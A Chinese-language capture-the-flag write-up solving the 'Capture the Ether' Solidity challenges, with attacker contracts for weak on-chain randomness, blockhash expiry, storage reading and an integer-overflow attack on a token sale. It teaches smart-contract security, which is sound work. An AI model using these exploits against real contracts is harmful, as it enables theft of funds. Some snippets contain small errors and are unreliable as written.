Capture the ether

Guess the secret number

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

这道题目需要猜一个uint8的变量经过keccak256后的值与answerHash相等,由于uint8的范围是0-255,所以写一个爆破的智能合约就可以解出最后的答案

//爆破合约
contract crack {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 public result;
   function crackresult() returns (uint8) {
     for (uint8 i = 0; i <= 255; i++) {
         if (keccak256(i) == answerHash) {
             result = i;
             return i;
         }
     }
}
}
//result = 170

Guess the random number

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

这道题中的answer在构造函数中进行了初始化,所以根据solidity的存储结构,变量answer的值被存储在slot0中,此时的answer作为状态变量存储在storage中,所以可以使用web3js在微storage中读取

web3.js.getStorageAt("contract Address", 0, console.log)

Guess the new number

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract attacker {
    function attack() public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
        GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A);
        target.guess.value(1 ether)(result);
    }

    function () public payable {
    }
}

这道题需要获取到前一个区块的hash与当前的时间戳,由于每个区块包含很多个交易,而同一个区块的交易的前一个区块hash与时间戳都是相等的,所以可以通过部署另一个合约,从该合约调用目标合约中的guess函数使这俩个交易在一个块内。

predict the future

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

这道题生成随机数的方式与上一题相同,不同点在于需要在lockInGuess函数处输入guess的值,然后settlementBlockNumber函数限制了在settle()函数中生成hash的块必须在lockInGuess块之后,所以无法直接调用settle()函数,由于最后获取hash值的方法为模10运算,因此answer的范围是0-9,因此可以利用爆破的方法来解决这道题。

思路:

  • 由于题目中锁定用户用的是msg.sender,所以需要部署一个攻击合约来随便猜一个数字,首先在攻击合约中调用lockInGuess函数,将猜的数字作为该函数的参数发送。

  • 调用攻击合约中的爆破函数计算hash值与上一步猜的数字是否相等,当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数,以免guesser被清零。

攻击合约:

contract attacker {
    PredictTheFutureChallenge target;
    uint public result;
    function attacker() public payable {
        target = PredictTheFutureChallenge(0x1B67a75C3A4754d2586697722C36f181B7b82f5d);
        target.lockInGuess.value(1 ether)(8);
    }
    
    function exploit() public payable {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
            if (result == 8) {
            target.settle();
        }
    }
    function () public payable {
    }
}

Predict the block hash

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);
        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        bytes32 answer = block.blockhash(settlementBlockNumber);
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

这道题与上一题基本类似,不一样的地方在于需要猜当前块的 hash,但是对于block.blockhash这个函数,可以获取给定区块号的 hash 值,但只支持最近的 256 个区块,对于 256 个区块之外的区块,block.blockhash函数都将返回 0,所以可以先传递 guess为 0,然后等待 256 个区块再调用settle函数即可,具体代码如下:

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract attacker {

    PredictTheBlockHashChallenge target;
    uint public result;
    uint public num;
    function attacker() public payable {
        target = PredictTheBlockHashChallenge(0xCF221473d9F6Ae7b95D47710776f5e7733C745F3);
        target.lockInGuess.value(1 ether)(0);
        num = block.number
    }
    function exploit() public payable {
                    if(block.number - num > 256) {
                target.settle();
    }
    }
    function () public payable {

    }
}

Token Sale

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
//题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;
//和合约同名的构造函数,要求合约的初始余额为1 ether,
    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }
//判断完成的条件要求合约中的余额小于 1 ether
    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }
//定义了买入token的方法,买入后更新mapping
    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
        balanceOf[msg.sender] += numTokens;
    }
//定义了卖出token的方法
    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);
        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

首先分析题目,题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额,TokenSaleChallenge 是和合约同名的构造函数,要求合约的初始余额为1 ether,当合约中的余额小于1 ether时完成题目。

由于买入多少币才能卖出多少币,所以如果想要能转出的买入的更多,就要求在买入的时候上溢,恰好这个合约没有safemath,存在溢出漏洞。

当买入的 token 小于 卖出的token 时可以利用溢出漏洞达到完成条件。

buy函数中的的 判断require(msg.value == numTokens * PRICE_PER_TOKEN);,造成溢出需要当msg.value足够小,numTokens足够大,而 PRICE_PER_TOKEN ==1 ether=10^18 wei,所以当numTokens * 10^18 >= 2^256时会上溢出

// msg.value == numTokens * PRICE_PER_TOKEN
计算刚好造成上溢出的 numToken
//这里不加1的话计算出来的msg.value会非常大无法发送(115792089237316195423570985008687907853269984665640564039457000000000000000000)
numTokens = 2^256/(10^18) + 1 = 115792089237316195423570985008687907853269984665640564039458
msg.value = numTokens * 10^18 % (2^256) = 415992086870360064 wei

因为需要以wei为单位发送 ether,所以需要在 Remix 中部署合约,调用buy 函数相当于以较小的msg.value获取到了大量的token,而这些token可以在sell函数中能够以 1 ether 的兑换率被转出, 就相当于以 0.4 ether 充值了相当于 1 ther 的token最后将这些token卖出,合约中的余额就会减少 1 ether,就达成了完成的条件。